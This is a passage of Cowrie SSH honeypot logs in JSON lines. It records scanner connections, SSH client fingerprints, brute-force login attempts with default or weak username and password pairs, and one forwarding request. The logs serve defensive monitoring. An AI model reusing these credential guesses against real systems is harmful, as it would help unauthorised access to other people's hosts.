af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:42.475842Z","src_ip":"103.91.246.101","session":"0c5a0b33c586","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.205.58","src_port":41116,"dst_ip":"159.203.135.109","dst_port":22,"session":"eec76e39f336","protocol":"ssh","message":"New connection: 14.225.205.58:41116 (159.203.135.109:22) [session: eec76e39f336]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:42.514064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:42.519039Z","src_ip":"14.225.205.58","session":"eec76e39f336","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:42.779459Z","src_ip":"14.225.205.58","session":"eec76e39f336","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu2","password":"123456","message":"login attempt [ubuntu2/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:43.416862Z","src_ip":"103.91.246.101","session":"0c5a0b33c586","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:43.854639Z","src_ip":"14.225.205.58","session":"eec76e39f336","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:44.119251Z","src_ip":"14.225.205.58","session":"eec76e39f336","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.7","message":"Connection lost after 7.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:44.125139Z","src_ip":"14.225.205.58","session":"97a5d7d54838","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:44.646901Z","src_ip":"103.91.246.101","session":"0c5a0b33c586","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.205.58","src_port":51806,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc47e25384db","protocol":"ssh","message":"New connection: 14.225.205.58:51806 (159.203.135.109:22) [session: bc47e25384db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:21:34.539438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:21:34.581523Z","src_ip":"14.225.205.58","session":"bc47e25384db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:21:34.834129Z","src_ip":"14.225.205.58","session":"bc47e25384db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qweqwe","message":"login attempt [ubuntu/qweqwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:21:35.835586Z","src_ip":"14.225.205.58","session":"bc47e25384db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:21:37.090314Z","src_ip":"14.225.205.58","session":"bc47e25384db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.91.246.101","src_port":58832,"dst_ip":"159.203.135.109","dst_port":22,"session":"9afa49560cc4","protocol":"ssh","message":"New connection: 103.91.246.101:58832 (159.203.135.109:22) [session: 9afa49560cc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:21:41.298773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:21:41.303506Z","src_ip":"103.91.246.101","session":"9afa49560cc4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:21:41.526211Z","src_ip":"103.91.246.101","session":"9afa49560cc4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak3","password":"ts3server","message":"login attempt [teamspeak3/ts3server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:21:42.442214Z","src_ip":"103.91.246.101","session":"9afa49560cc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:21:43.666296Z","src_ip":"103.91.246.101","session":"9afa49560cc4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":44104,"dst_ip":"10.17.0.5","dst_port":22,"session":"b873ce552faa","protocol":"ssh","message":"New connection: 87.251.64.176:44104 (10.17.0.5:22) [session: b873ce552faa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:21:54.766342Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:21:54.915428Z","src_ip":"87.251.64.176","session":"b873ce552faa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:21:55.011710Z","src_ip":"87.251.64.176","session":"b873ce552faa","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:21:55.300718Z","src_ip":"87.251.64.176","session":"b873ce552faa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:21:55.399651Z","session":"b873ce552faa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:21:55.497538Z","src_ip":"87.251.64.176","session":"b873ce552faa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:21:55.596448Z","src_ip":"87.251.64.176","session":"b873ce552faa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.159.125","src_port":44066,"dst_ip":"159.203.135.109","dst_port":22,"session":"daecc81792a2","protocol":"ssh","message":"New connection: 101.47.159.125:44066 (159.203.135.109:22) [session: daecc81792a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:22:12.252629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:22:12.257463Z","src_ip":"101.47.159.125","session":"daecc81792a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:22:12.496591Z","src_ip":"101.47.159.125","session":"daecc81792a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitea","password":"gitea!","message":"login attempt [gitea/gitea!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:22:13.486592Z","src_ip":"101.47.159.125","session":"daecc81792a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":38798,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f114b864011","protocol":"ssh","message":"New connection: 194.59.206.2:38798 (159.203.135.109:22) [session: 2f114b864011]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:22:14.672518Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:22:14.678336Z","src_ip":"194.59.206.2","session":"2f114b864011","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:22:14.728528Z","src_ip":"101.47.159.125","session":"daecc81792a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:22:14.769584Z","src_ip":"194.59.206.2","session":"2f114b864011","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:22:14.866947Z","src_ip":"194.59.206.2","session":"2f114b864011","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.205.58","src_port":52836,"dst_ip":"159.203.135.109","dst_port":22,"session":"0223ea0a0d95","protocol":"ssh","message":"New connection: 14.225.205.58:52836 (159.203.135.109:22) [session: 0223ea0a0d95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:22:34.607663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:22:34.612752Z","src_ip":"14.225.205.58","session":"0223ea0a0d95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:22:34.884139Z","src_ip":"14.225.205.58","session":"0223ea0a0d95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jerry","password":"test123","message":"login attempt [jerry/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:22:35.998535Z","src_ip":"14.225.205.58","session":"0223ea0a0d95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:22:37.273467Z","src_ip":"14.225.205.58","session":"0223ea0a0d95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.91.246.101","src_port":34992,"dst_ip":"159.203.135.109","dst_port":22,"session":"f3758415fca5","protocol":"ssh","message":"New connection: 103.91.246.101:34992 (159.203.135.109:22) [session: f3758415fca5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:22:40.898950Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:22:40.903539Z","src_ip":"103.91.246.101","session":"f3758415fca5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 